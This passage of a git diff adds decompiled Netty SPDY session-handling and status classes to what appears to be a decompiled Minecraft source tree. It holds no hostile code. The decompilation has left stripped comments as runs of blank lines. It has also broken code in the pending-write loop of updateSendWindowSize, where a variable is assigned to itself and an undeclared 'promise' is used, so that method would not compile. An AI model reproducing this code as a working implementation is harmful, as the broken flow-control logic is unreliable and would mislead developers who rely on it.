+  private static final int DEFAULT_WINDOW_SIZE = 65536;
+  
+  static { PROTOCOL_EXCEPTION.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+    STREAM_CLOSED.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+  }
+  
+
+  private int initialSendWindowSize = 65536;
+  private int initialReceiveWindowSize = 65536;
+  private volatile int initialSessionReceiveWindowSize = 65536;
+  
+  private final SpdySession spdySession = new SpdySession(initialSendWindowSize, initialReceiveWindowSize);
+  
+  private int lastGoodStreamId;
+  private static final int DEFAULT_MAX_CONCURRENT_STREAMS = Integer.MAX_VALUE;
+  private int remoteConcurrentStreams = Integer.MAX_VALUE;
+  private int localConcurrentStreams = Integer.MAX_VALUE;
+  
+  private final AtomicInteger pings = new AtomicInteger();
+  
+
+  private boolean sentGoAwayFrame;
+  
+
+  private boolean receivedGoAwayFrame;
+  
+
+  private ChannelFutureListener closeSessionFutureListener;
+  
+
+  private final boolean server;
+  
+
+  private final int minorVersion;
+  
+
+  public SpdySessionHandler(SpdyVersion version, boolean server)
+  {
+    if (version == null) {
+      throw new NullPointerException("version");
+    }
+    this.server = server;
+    minorVersion = version.getMinorVersion();
+  }
+  
+  public void setSessionReceiveWindowSize(int sessionReceiveWindowSize) {
+    if (sessionReceiveWindowSize < 0) {
+      throw new IllegalArgumentException("sessionReceiveWindowSize");
+    }
+    
+
+
+
+
+
+    initialSessionReceiveWindowSize = sessionReceiveWindowSize;
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    if ((msg instanceof SpdyDataFrame))
+    {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      SpdyDataFrame spdyDataFrame = (SpdyDataFrame)msg;
+      int streamId = spdyDataFrame.streamId();
+      
+      int deltaWindowSize = -1 * spdyDataFrame.content().readableBytes();
+      int newSessionWindowSize = spdySession.updateReceiveWindowSize(0, deltaWindowSize);
+      
+
+
+      if (newSessionWindowSize < 0) {
+        issueSessionError(ctx, SpdySessionStatus.PROTOCOL_ERROR);
+        return;
+      }
+      
+
+      if (newSessionWindowSize <= initialSessionReceiveWindowSize / 2) {
+        int sessionDeltaWindowSize = initialSessionReceiveWindowSize - newSessionWindowSize;
+        spdySession.updateReceiveWindowSize(0, sessionDeltaWindowSize);
+        SpdyWindowUpdateFrame spdyWindowUpdateFrame = new DefaultSpdyWindowUpdateFrame(0, sessionDeltaWindowSize);
+        
+        ctx.writeAndFlush(spdyWindowUpdateFrame);
+      }
+      
+
+
+      if (!spdySession.isActiveStream(streamId)) {
+        spdyDataFrame.release();
+        if (streamId <= lastGoodStreamId) {
+          issueStreamError(ctx, streamId, SpdyStreamStatus.PROTOCOL_ERROR);
+        } else if (!sentGoAwayFrame) {
+          issueStreamError(ctx, streamId, SpdyStreamStatus.INVALID_STREAM);
+        }
+        return;
+      }
+      
+
+
+      if (spdySession.isRemoteSideClosed(streamId)) {
+        spdyDataFrame.release();
+        issueStreamError(ctx, streamId, SpdyStreamStatus.STREAM_ALREADY_CLOSED);
+        return;
+      }
+      
+
+      if ((!isRemoteInitiatedId(streamId)) && (!spdySession.hasReceivedReply(streamId))) {
+        spdyDataFrame.release();
+        issueStreamError(ctx, streamId, SpdyStreamStatus.PROTOCOL_ERROR);
+        return;
+      }
+      
+
+
+
+
+
+
+
+      int newWindowSize = spdySession.updateReceiveWindowSize(streamId, deltaWindowSize);
+      
+
+
+
+
+
+      if (newWindowSize < spdySession.getReceiveWindowSizeLowerBound(streamId)) {
+        spdyDataFrame.release();
+        issueStreamError(ctx, streamId, SpdyStreamStatus.FLOW_CONTROL_ERROR);
+        return;
+      }
+      
+
+
+      if (newWindowSize < 0) {
+        while (spdyDataFrame.content().readableBytes() > initialReceiveWindowSize) {
+          SpdyDataFrame partialDataFrame = new DefaultSpdyDataFrame(streamId, spdyDataFrame.content().readSlice(initialReceiveWindowSize).retain());
+          
+          ctx.writeAndFlush(partialDataFrame);
+        }
+      }
+      
+
+      if ((newWindowSize <= initialReceiveWindowSize / 2) && (!spdyDataFrame.isLast())) {
+        int streamDeltaWindowSize = initialReceiveWindowSize - newWindowSize;
+        spdySession.updateReceiveWindowSize(streamId, streamDeltaWindowSize);
+        SpdyWindowUpdateFrame spdyWindowUpdateFrame = new DefaultSpdyWindowUpdateFrame(streamId, streamDeltaWindowSize);
+        
+        ctx.writeAndFlush(spdyWindowUpdateFrame);
+      }
+      
+
+      if (spdyDataFrame.isLast()) {
+        halfCloseStream(streamId, true, ctx.newSucceededFuture());
+      }
+    }
+    else if ((msg instanceof SpdySynStreamFrame))
+    {
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      SpdySynStreamFrame spdySynStreamFrame = (SpdySynStreamFrame)msg;
+      int streamId = spdySynStreamFrame.streamId();
+      
+
+      if ((spdySynStreamFrame.isInvalid()) || (!isRemoteInitiatedId(streamId)) || (spdySession.isActiveStream(streamId)))
+      {
+
+        issueStreamError(ctx, streamId, SpdyStreamStatus.PROTOCOL_ERROR);
+        return;
+      }
+      
+
+      if (streamId <= lastGoodStreamId) {
+        issueSessionError(ctx, SpdySessionStatus.PROTOCOL_ERROR);
+        return;
+      }
+      
+
+      byte priority = spdySynStreamFrame.priority();
+      boolean remoteSideClosed = spdySynStreamFrame.isLast();
+      boolean localSideClosed = spdySynStreamFrame.isUnidirectional();
+      if (!acceptStream(streamId, priority, remoteSideClosed, localSideClosed)) {
+        issueStreamError(ctx, streamId, SpdyStreamStatus.REFUSED_STREAM);
+        return;
+      }
+    }
+    else if ((msg instanceof SpdySynReplyFrame))
+    {
+
+
+
+
+
+
+
+      SpdySynReplyFrame spdySynReplyFrame = (SpdySynReplyFrame)msg;
+      int streamId = spdySynReplyFrame.streamId();
+      
+
+      if ((spdySynReplyFrame.isInvalid()) || (isRemoteInitiatedId(streamId)) || (spdySession.isRemoteSideClosed(streamId)))
+      {
+
+        issueStreamError(ctx, streamId, SpdyStreamStatus.INVALID_STREAM);
+        return;
+      }
+      
+
+      if (spdySession.hasReceivedReply(streamId)) {
+        issueStreamError(ctx, streamId, SpdyStreamStatus.STREAM_IN_USE);
+        return;
+      }
+      
+      spdySession.receivedReply(streamId);
+      
+
+      if (spdySynReplyFrame.isLast()) {
+        halfCloseStream(streamId, true, ctx.newSucceededFuture());
+      }
+    }
+    else if ((msg instanceof SpdyRstStreamFrame))
+    {
+
+
+
+
+
+
+
+
+
+      SpdyRstStreamFrame spdyRstStreamFrame = (SpdyRstStreamFrame)msg;
+      removeStream(spdyRstStreamFrame.streamId(), ctx.newSucceededFuture());
+    }
+    else if ((msg instanceof SpdySettingsFrame))
+    {
+      SpdySettingsFrame spdySettingsFrame = (SpdySettingsFrame)msg;
+      
+      int settingsMinorVersion = spdySettingsFrame.getValue(0);
+      if ((settingsMinorVersion >= 0) && (settingsMinorVersion != minorVersion))
+      {
+        issueSessionError(ctx, SpdySessionStatus.PROTOCOL_ERROR);
+        return;
+      }
+      
+      int newConcurrentStreams = spdySettingsFrame.getValue(4);
+      
+      if (newConcurrentStreams >= 0) {
+        remoteConcurrentStreams = newConcurrentStreams;
+      }
+      
+
+
+
+      if (spdySettingsFrame.isPersisted(7)) {
+        spdySettingsFrame.removeValue(7);
+      }
+      spdySettingsFrame.setPersistValue(7, false);
+      
+      int newInitialWindowSize = spdySettingsFrame.getValue(7);
+      
+      if (newInitialWindowSize >= 0) {
+        updateInitialSendWindowSize(newInitialWindowSize);
+      }
+    }
+    else if ((msg instanceof SpdyPingFrame))
+    {
+
+
+
+
+
+
+
+
+
+      SpdyPingFrame spdyPingFrame = (SpdyPingFrame)msg;
+      
+      if (isRemoteInitiatedId(spdyPingFrame.id())) {
+        ctx.writeAndFlush(spdyPingFrame);
+        return;
+      }
+      
+
+      if (pings.get() == 0) {
+        return;
+      }
+      pings.getAndDecrement();
+    }
+    else if ((msg instanceof SpdyGoAwayFrame))
+    {
+      receivedGoAwayFrame = true;
+    }
+    else if ((msg instanceof SpdyHeadersFrame))
+    {
+      SpdyHeadersFrame spdyHeadersFrame = (SpdyHeadersFrame)msg;
+      int streamId = spdyHeadersFrame.streamId();
+      
+
+      if (spdyHeadersFrame.isInvalid()) {
+        issueStreamError(ctx, streamId, SpdyStreamStatus.PROTOCOL_ERROR);
+        return;
+      }
+      
+      if (spdySession.isRemoteSideClosed(streamId)) {
+        issueStreamError(ctx, streamId, SpdyStreamStatus.INVALID_STREAM);
+        return;
+      }
+      
+
+      if (spdyHeadersFrame.isLast()) {
+        halfCloseStream(streamId, true, ctx.newSucceededFuture());
+      }
+    }
+    else if ((msg instanceof SpdyWindowUpdateFrame))
+    {
+
+
+
+
+
+
+
+
+
+
+      SpdyWindowUpdateFrame spdyWindowUpdateFrame = (SpdyWindowUpdateFrame)msg;
+      int streamId = spdyWindowUpdateFrame.streamId();
+      int deltaWindowSize = spdyWindowUpdateFrame.deltaWindowSize();
+      
+
+      if ((streamId != 0) && (spdySession.isLocalSideClosed(streamId))) {
+        return;
+      }
+      
+
+      if (spdySession.getSendWindowSize(streamId) > Integer.MAX_VALUE - deltaWindowSize) {
+        if (streamId == 0) {
+          issueSessionError(ctx, SpdySessionStatus.PROTOCOL_ERROR);
+        } else {
+          issueStreamError(ctx, streamId, SpdyStreamStatus.FLOW_CONTROL_ERROR);
+        }
+        return;
+      }
+      
+      updateSendWindowSize(ctx, streamId, deltaWindowSize);
+    }
+    
+    ctx.fireChannelRead(msg);
+  }
+  
+  public void channelInactive(ChannelHandlerContext ctx) throws Exception
+  {
+    for (Integer streamId : spdySession.activeStreams().keySet()) {
+      removeStream(streamId.intValue(), ctx.newSucceededFuture());
+    }
+    ctx.fireChannelInactive();
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    if ((cause instanceof SpdyProtocolException)) {
+      issueSessionError(ctx, SpdySessionStatus.PROTOCOL_ERROR);
+    }
+    
+    ctx.fireExceptionCaught(cause);
+  }
+  
+  public void close(ChannelHandlerContext ctx, ChannelPromise promise) throws Exception
+  {
+    sendGoAwayFrame(ctx, promise);
+  }
+  
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception
+  {
+    if (((msg instanceof SpdyDataFrame)) || ((msg instanceof SpdySynStreamFrame)) || ((msg instanceof SpdySynReplyFrame)) || ((msg instanceof SpdyRstStreamFrame)) || ((msg instanceof SpdySettingsFrame)) || ((msg instanceof SpdyPingFrame)) || ((msg instanceof SpdyGoAwayFrame)) || ((msg instanceof SpdyHeadersFrame)) || ((msg instanceof SpdyWindowUpdateFrame)))
+    {
+
+
+
+
+
+
+
+
+      handleOutboundMessage(ctx, msg, promise);
+    } else {
+      ctx.write(msg, promise);
+    }
+  }
+  
+  private void handleOutboundMessage(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) throws Exception {
+    if ((msg instanceof SpdyDataFrame))
+    {
+      SpdyDataFrame spdyDataFrame = (SpdyDataFrame)msg;
+      int streamId = spdyDataFrame.streamId();
+      
+
+      if (spdySession.isLocalSideClosed(streamId)) {
+        spdyDataFrame.release();
+        promise.setFailure(PROTOCOL_EXCEPTION);
+        return;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+      int dataLength = spdyDataFrame.content().readableBytes();
+      int sendWindowSize = spdySession.getSendWindowSize(streamId);
+      int sessionSendWindowSize = spdySession.getSendWindowSize(0);
+      sendWindowSize = Math.min(sendWindowSize, sessionSendWindowSize);
+      
+      if (sendWindowSize <= 0)
+      {
+        spdySession.putPendingWrite(streamId, new SpdySession.PendingWrite(spdyDataFrame, promise));
+        return; }
+      if (sendWindowSize < dataLength)
+      {
+        spdySession.updateSendWindowSize(streamId, -1 * sendWindowSize);
+        spdySession.updateSendWindowSize(0, -1 * sendWindowSize);
+        
+
+        SpdyDataFrame partialDataFrame = new DefaultSpdyDataFrame(streamId, spdyDataFrame.content().readSlice(sendWindowSize).retain());
+        
+
+
+        spdySession.putPendingWrite(streamId, new SpdySession.PendingWrite(spdyDataFrame, promise));
+        
+
+
+        final ChannelHandlerContext context = ctx;
+        ctx.write(partialDataFrame).addListener(new ChannelFutureListener()
+        {
+          public void operationComplete(ChannelFuture future) throws Exception {
+            if (!future.isSuccess()) {
+              SpdySessionHandler.this.issueSessionError(context, SpdySessionStatus.INTERNAL_ERROR);
+            }
+          }
+        });
+        return;
+      }
+      
+      spdySession.updateSendWindowSize(streamId, -1 * dataLength);
+      spdySession.updateSendWindowSize(0, -1 * dataLength);
+      
+
+
+      final ChannelHandlerContext context = ctx;
+      promise.addListener(new ChannelFutureListener()
+      {
+        public void operationComplete(ChannelFuture future) throws Exception {
+          if (!future.isSuccess()) {
+            SpdySessionHandler.this.issueSessionError(context, SpdySessionStatus.INTERNAL_ERROR);
+          }
+        }
+      });
+      
+
+
+      if (spdyDataFrame.isLast()) {
+        halfCloseStream(streamId, false, promise);
+      }
+    }
+    else if ((msg instanceof SpdySynStreamFrame))
+    {
+      SpdySynStreamFrame spdySynStreamFrame = (SpdySynStreamFrame)msg;
+      int streamId = spdySynStreamFrame.streamId();
+      
+      if (isRemoteInitiatedId(streamId)) {
+        promise.setFailure(PROTOCOL_EXCEPTION);
+        return;
+      }
+      
+      byte priority = spdySynStreamFrame.priority();
+      boolean remoteSideClosed = spdySynStreamFrame.isUnidirectional();
+      boolean localSideClosed = spdySynStreamFrame.isLast();
+      if (!acceptStream(streamId, priority, remoteSideClosed, localSideClosed)) {
+        promise.setFailure(PROTOCOL_EXCEPTION);
+        return;
+      }
+    }
+    else if ((msg instanceof SpdySynReplyFrame))
+    {
+      SpdySynReplyFrame spdySynReplyFrame = (SpdySynReplyFrame)msg;
+      int streamId = spdySynReplyFrame.streamId();
+      
+
+      if ((!isRemoteInitiatedId(streamId)) || (spdySession.isLocalSideClosed(streamId))) {
+        promise.setFailure(PROTOCOL_EXCEPTION);
+        return;
+      }
+      
+
+      if (spdySynReplyFrame.isLast()) {
+        halfCloseStream(streamId, false, promise);
+      }
+    }
+    else if ((msg instanceof SpdyRstStreamFrame))
+    {
+      SpdyRstStreamFrame spdyRstStreamFrame = (SpdyRstStreamFrame)msg;
+      removeStream(spdyRstStreamFrame.streamId(), promise);
+    }
+    else if ((msg instanceof SpdySettingsFrame))
+    {
+      SpdySettingsFrame spdySettingsFrame = (SpdySettingsFrame)msg;
+      
+      int settingsMinorVersion = spdySettingsFrame.getValue(0);
+      if ((settingsMinorVersion >= 0) && (settingsMinorVersion != minorVersion))
+      {
+        promise.setFailure(PROTOCOL_EXCEPTION);
+        return;
+      }
+      
+      int newConcurrentStreams = spdySettingsFrame.getValue(4);
+      
+      if (newConcurrentStreams >= 0) {
+        localConcurrentStreams = newConcurrentStreams;
+      }
+      
+
+
+
+      if (spdySettingsFrame.isPersisted(7)) {
+        spdySettingsFrame.removeValue(7);
+      }
+      spdySettingsFrame.setPersistValue(7, false);
+      
+      int newInitialWindowSize = spdySettingsFrame.getValue(7);
+      
+      if (newInitialWindowSize >= 0) {
+        updateInitialReceiveWindowSize(newInitialWindowSize);
+      }
+    }
+    else if ((msg instanceof SpdyPingFrame))
+    {
+      SpdyPingFrame spdyPingFrame = (SpdyPingFrame)msg;
+      if (isRemoteInitiatedId(spdyPingFrame.id())) {
+        ctx.fireExceptionCaught(new IllegalArgumentException("invalid PING ID: " + spdyPingFrame.id()));
+        
+        return;
+      }
+      pings.getAndIncrement();
+    } else {
+      if ((msg instanceof SpdyGoAwayFrame))
+      {
+
+
+        promise.setFailure(PROTOCOL_EXCEPTION);
+        return;
+      }
+      if ((msg instanceof SpdyHeadersFrame))
+      {
+        SpdyHeadersFrame spdyHeadersFrame = (SpdyHeadersFrame)msg;
+        int streamId = spdyHeadersFrame.streamId();
+        
+
+        if (spdySession.isLocalSideClosed(streamId)) {
+          promise.setFailure(PROTOCOL_EXCEPTION);
+          return;
+        }
+        
+
+        if (spdyHeadersFrame.isLast()) {
+          halfCloseStream(streamId, false, promise);
+        }
+      }
+      else if ((msg instanceof SpdyWindowUpdateFrame))
+      {
+
+        promise.setFailure(PROTOCOL_EXCEPTION);
+        return;
+      }
+    }
+    ctx.write(msg, promise);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private void issueSessionError(ChannelHandlerContext ctx, SpdySessionStatus status)
+  {
+    sendGoAwayFrame(ctx, status).addListener(new ClosingChannelFutureListener(ctx, ctx.newPromise()));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private void issueStreamError(ChannelHandlerContext ctx, int streamId, SpdyStreamStatus status)
+  {
+    boolean fireChannelRead = !spdySession.isRemoteSideClosed(streamId);
+    ChannelPromise promise = ctx.newPromise();
+    removeStream(streamId, promise);
+    
+    SpdyRstStreamFrame spdyRstStreamFrame = new DefaultSpdyRstStreamFrame(streamId, status);
+    ctx.writeAndFlush(spdyRstStreamFrame, promise);
+    if (fireChannelRead) {
+      ctx.fireChannelRead(spdyRstStreamFrame);
+    }
+  }
+  
+
+
+
+  private boolean isRemoteInitiatedId(int id)
+  {
+    boolean serverId = SpdyCodecUtil.isServerId(id);
+    return ((server) && (!serverId)) || ((!server) && (serverId));
+  }
+  
+  private synchronized void updateInitialSendWindowSize(int newInitialWindowSize)
+  {
+    int deltaWindowSize = newInitialWindowSize - initialSendWindowSize;
+    initialSendWindowSize = newInitialWindowSize;
+    spdySession.updateAllSendWindowSizes(deltaWindowSize);
+  }
+  
+  private synchronized void updateInitialReceiveWindowSize(int newInitialWindowSize)
+  {
+    int deltaWindowSize = newInitialWindowSize - initialReceiveWindowSize;
+    initialReceiveWindowSize = newInitialWindowSize;
+    spdySession.updateAllReceiveWindowSizes(deltaWindowSize);
+  }
+  
+
+
+  private synchronized boolean acceptStream(int streamId, byte priority, boolean remoteSideClosed, boolean localSideClosed)
+  {
+    if ((receivedGoAwayFrame) || (sentGoAwayFrame)) {
+      return false;
+    }
+    
+    boolean remote = isRemoteInitiatedId(streamId);
+    int maxConcurrentStreams = remote ? localConcurrentStreams : remoteConcurrentStreams;
+    if (spdySession.numActiveStreams(remote) >= maxConcurrentStreams) {
+      return false;
+    }
+    spdySession.acceptStream(streamId, priority, remoteSideClosed, localSideClosed, initialSendWindowSize, initialReceiveWindowSize, remote);
+    
+
+    if (remote) {
+      lastGoodStreamId = streamId;
+    }
+    return true;
+  }
+  
+  private void halfCloseStream(int streamId, boolean remote, ChannelFuture future) {
+    if (remote) {
+      spdySession.closeRemoteSide(streamId, isRemoteInitiatedId(streamId));
+    } else {
+      spdySession.closeLocalSide(streamId, isRemoteInitiatedId(streamId));
+    }
+    if ((closeSessionFutureListener != null) && (spdySession.noActiveStreams())) {
+      future.addListener(closeSessionFutureListener);
+    }
+  }
+  
+  private void removeStream(int streamId, ChannelFuture future) {
+    spdySession.removeStream(streamId, STREAM_CLOSED, isRemoteInitiatedId(streamId));
+    
+    if ((closeSessionFutureListener != null) && (spdySession.noActiveStreams())) {
+      future.addListener(closeSessionFutureListener);
+    }
+  }
+  
+  private void updateSendWindowSize(final ChannelHandlerContext ctx, int streamId, int deltaWindowSize) {
+    spdySession.updateSendWindowSize(streamId, deltaWindowSize);
+    
+    for (;;)
+    {
+      SpdySession.PendingWrite pendingWrite = spdySession.getPendingWrite(streamId);
+      if (pendingWrite == null) {
+        return;
+      }
+      
+      SpdyDataFrame spdyDataFrame = spdyDataFrame;
+      int dataFrameSize = spdyDataFrame.content().readableBytes();
+      int writeStreamId = spdyDataFrame.streamId();
+      int sendWindowSize = spdySession.getSendWindowSize(writeStreamId);
+      int sessionSendWindowSize = spdySession.getSendWindowSize(0);
+      sendWindowSize = Math.min(sendWindowSize, sessionSendWindowSize);
+      
+      if (sendWindowSize <= 0)
+        return;
+      if (sendWindowSize < dataFrameSize)
+      {
+        spdySession.updateSendWindowSize(writeStreamId, -1 * sendWindowSize);
+        spdySession.updateSendWindowSize(0, -1 * sendWindowSize);
+        
+
+        SpdyDataFrame partialDataFrame = new DefaultSpdyDataFrame(writeStreamId, spdyDataFrame.content().readSlice(sendWindowSize).retain());
+        
+
+
+
+        ctx.writeAndFlush(partialDataFrame).addListener(new ChannelFutureListener()
+        {
+          public void operationComplete(ChannelFuture future) throws Exception {
+            if (!future.isSuccess()) {
+              SpdySessionHandler.this.issueSessionError(ctx, SpdySessionStatus.INTERNAL_ERROR);
+            }
+          }
+        });
+      }
+      else {
+        spdySession.removePendingWrite(writeStreamId);
+        spdySession.updateSendWindowSize(writeStreamId, -1 * dataFrameSize);
+        spdySession.updateSendWindowSize(0, -1 * dataFrameSize);
+        
+
+        if (spdyDataFrame.isLast()) {
+          halfCloseStream(writeStreamId, false, promise);
+        }
+        
+
+
+        ctx.writeAndFlush(spdyDataFrame, promise).addListener(new ChannelFutureListener()
+        {
+          public void operationComplete(ChannelFuture future) throws Exception {
+            if (!future.isSuccess()) {
+              SpdySessionHandler.this.issueSessionError(ctx, SpdySessionStatus.INTERNAL_ERROR);
+            }
+          }
+        });
+      }
+    }
+  }
+  
+  private void sendGoAwayFrame(ChannelHandlerContext ctx, ChannelPromise future)
+  {
+    if (!ctx.channel().isActive()) {
+      ctx.close(future);
+      return;
+    }
+    
+    ChannelFuture f = sendGoAwayFrame(ctx, SpdySessionStatus.OK);
+    if (spdySession.noActiveStreams()) {
+      f.addListener(new ClosingChannelFutureListener(ctx, future));
+    } else {
+      closeSessionFutureListener = new ClosingChannelFutureListener(ctx, future);
+    }
+  }
+  
+
+  private synchronized ChannelFuture sendGoAwayFrame(ChannelHandlerContext ctx, SpdySessionStatus status)
+  {
+    if (!sentGoAwayFrame) {
+      sentGoAwayFrame = true;
+      SpdyGoAwayFrame spdyGoAwayFrame = new DefaultSpdyGoAwayFrame(lastGoodStreamId, status);
+      return ctx.writeAndFlush(spdyGoAwayFrame);
+    }
+    return ctx.newSucceededFuture();
+  }
+  
+  private static final class ClosingChannelFutureListener implements ChannelFutureListener
+  {
+    private final ChannelHandlerContext ctx;
+    private final ChannelPromise promise;
+    
+    ClosingChannelFutureListener(ChannelHandlerContext ctx, ChannelPromise promise) {
+      this.ctx = ctx;
+      this.promise = promise;
+    }
+    
+    public void operationComplete(ChannelFuture sentGoAwayFuture) throws Exception
+    {
+      ctx.close(promise);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdySessionStatus.java b/src/minecraft/io/netty/handler/codec/spdy/SpdySessionStatus.java
new file mode 100644
index 0000000..555c972
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdySessionStatus.java
@@ -0,0 +1,113 @@
+package io.netty.handler.codec.spdy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdySessionStatus
+  implements Comparable<SpdySessionStatus>
+{
+  public static final SpdySessionStatus OK = new SpdySessionStatus(0, "OK");
+  
+
+
+
+
+  public static final SpdySessionStatus PROTOCOL_ERROR = new SpdySessionStatus(1, "PROTOCOL_ERROR");
+  
+
+
+
+
+  public static final SpdySessionStatus INTERNAL_ERROR = new SpdySessionStatus(2, "INTERNAL_ERROR");
+  
+  private final int code;
+  
+  private final String statusPhrase;
+  
+
+  public static SpdySessionStatus valueOf(int code)
+  {
+    switch (code) {
+    case 0: 
+      return OK;
+    case 1: 
+      return PROTOCOL_ERROR;
+    case 2: 
+      return INTERNAL_ERROR;
+    }
+    
+    return new SpdySessionStatus(code, "UNKNOWN (" + code + ')');
+  }
+  
+
+
+
+
+
+
+
+  public SpdySessionStatus(int code, String statusPhrase)
+  {
+    if (statusPhrase == null) {
+      throw new NullPointerException("statusPhrase");
+    }
+    
+    this.code = code;
+    this.statusPhrase = statusPhrase;
+  }
+  
+
+
+  public int code()
+  {
+    return code;
+  }
+  
+
+
+  public String statusPhrase()
+  {
+    return statusPhrase;
+  }
+  
+  public int hashCode()
+  {
+    return code();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof SpdySessionStatus)) {
+      return false;
+    }
+    
+    return code() == ((SpdySessionStatus)o).code();
+  }
+  
+  public String toString()
+  {
+    return statusPhrase();
+  }
+  
+  public int compareTo(SpdySessionStatus o)
+  {
+    return code() - o.code();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdySettingsFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdySettingsFrame.java
new file mode 100644
index 0000000..1e51499
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdySettingsFrame.java
@@ -0,0 +1,41 @@
+package io.netty.handler.codec.spdy;
+
+import java.util.Set;
+
+public abstract interface SpdySettingsFrame
+  extends SpdyFrame
+{
+  public static final int SETTINGS_MINOR_VERSION = 0;
+  public static final int SETTINGS_UPLOAD_BANDWIDTH = 1;
+  public static final int SETTINGS_DOWNLOAD_BANDWIDTH = 2;
+  public static final int SETTINGS_ROUND_TRIP_TIME = 3;
+  public static final int SETTINGS_MAX_CONCURRENT_STREAMS = 4;
+  public static final int SETTINGS_CURRENT_CWND = 5;
+  public static final int SETTINGS_DOWNLOAD_RETRANS_RATE = 6;
+  public static final int SETTINGS_INITIAL_WINDOW_SIZE = 7;
+  public static final int SETTINGS_CLIENT_CERTIFICATE_VECTOR_SIZE = 8;
+  
+  public abstract Set<Integer> ids();
+  
+  public abstract boolean isSet(int paramInt);
+  
+  public abstract int getValue(int paramInt);
+  
+  public abstract SpdySettingsFrame setValue(int paramInt1, int paramInt2);
+  
+  public abstract SpdySettingsFrame setValue(int paramInt1, int paramInt2, boolean paramBoolean1, boolean paramBoolean2);
+  
+  public abstract SpdySettingsFrame removeValue(int paramInt);
+  
+  public abstract boolean isPersistValue(int paramInt);
+  
+  public abstract SpdySettingsFrame setPersistValue(int paramInt, boolean paramBoolean);
+  
+  public abstract boolean isPersisted(int paramInt);
+  
+  public abstract SpdySettingsFrame setPersisted(int paramInt, boolean paramBoolean);
+  
+  public abstract boolean clearPreviouslyPersistedSettings();
+  
+  public abstract SpdySettingsFrame setClearPreviouslyPersistedSettings(boolean paramBoolean);
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyStreamFrame.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyStreamFrame.java
new file mode 100644
index 0000000..0a4df9a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyStreamFrame.java
@@ -0,0 +1,13 @@
+package io.netty.handler.codec.spdy;
+
+public abstract interface SpdyStreamFrame
+  extends SpdyFrame
+{
+  public abstract int streamId();
+  
+  public abstract SpdyStreamFrame setStreamId(int paramInt);
+  
+  public abstract boolean isLast();
+  
+  public abstract SpdyStreamFrame setLast(boolean paramBoolean);
+}
diff --git a/src/minecraft/io/netty/handler/codec/spdy/SpdyStreamStatus.java b/src/minecraft/io/netty/handler/codec/spdy/SpdyStreamStatus.java
new file mode 100644
index 0000000..2e53f01
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/spdy/SpdyStreamStatus.java
@@ -0,0 +1,187 @@
+package io.netty.handler.codec.spdy;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpdyStreamStatus
+  implements Comparable<SpdyStreamStatus>
+{
+  public static final SpdyStreamStatus PROTOCOL_ERROR = new SpdyStreamStatus(1, "PROTOCOL_ERROR");
+  
+
+
+
+
+  public static final SpdyStreamStatus INVALID_STREAM = new SpdyStreamStatus(2, "INVALID_STREAM");
+  
+
+
+
+
+  public static final SpdyStreamStatus REFUSED_STREAM = new SpdyStreamStatus(3, "REFUSED_STREAM");
+  
+
+
+
+
+  public static final SpdyStreamStatus UNSUPPORTED_VERSION = new SpdyStreamStatus(4, "UNSUPPORTED_VERSION");
+  
+
+
+
+
+  public static final SpdyStreamStatus CANCEL = new SpdyStreamStatus(5, "CANCEL");
+  
+
+
+
+
+  public static final SpdyStreamStatus INTERNAL_ERROR = new SpdyStreamStatus(6, "INTERNAL_ERROR");
+  
+
+
+
+
+  public static final SpdyStreamStatus FLOW_CONTROL_ERROR = new SpdyStreamStatus(7, "FLOW_CONTROL_ERROR");
+  
+
+
+
+
+  public static final SpdyStreamStatus STREAM_IN_USE = new SpdyStreamStatus(8, "STREAM_IN_USE");
+  
+
+
+
+
+  public static final SpdyStreamStatus STREAM_ALREADY_CLOSED = new SpdyStreamStatus(9, "STREAM_ALREADY_CLOSED");
+  
+
+
+
+
+  public static final SpdyStreamStatus INVALID_CREDENTIALS = new SpdyStreamStatus(10, "INVALID_CREDENTIALS");
+  
+
+
+
+
+  public static final SpdyStreamStatus FRAME_TOO_LARGE = new SpdyStreamStatus(11, "FRAME_TOO_LARGE");
+  
+  private final int code;
+  
+  private final String statusPhrase;
+  
+
+  public static SpdyStreamStatus valueOf(int code)
+  {
+    if (code == 0) {
+      throw new IllegalArgumentException("0 is not a valid status code for a RST_STREAM");
+    }
+    
+
+    switch (code) {
+    case 1: 
+      return PROTOCOL_ERROR;
+    case 2: 
+      return INVALID_STREAM;
+    case 3: 
+      return REFUSED_STREAM;
+    case 4: 
+      return UNSUPPORTED_VERSION;
+    case 5: 
+      return CANCEL;
+    case 6: 
+      return INTERNAL_ERROR;
+    case 7: 
+      return FLOW_CONTROL_ERROR;
+    case 8: 
+      return STREAM_IN_USE;
+    case 9: 
+      return STREAM_ALREADY_CLOSED;
+    case 10: 
+      return INVALID_CREDENTIALS;
+    case 11: 
+      return FRAME_TOO_LARGE;
+    }
+    
+    return new SpdyStreamStatus(code, "UNKNOWN (" + code + ')');
+  }
+  
+
+
+
+
+
+
+
+  public SpdyStreamStatus(int code, String statusPhrase)
+  {
+    if (code == 0) {
+      throw new IllegalArgumentException("0 is not a valid status code for a RST_STREAM");
+    }
+    
+
+    if (statusPhrase == null) {
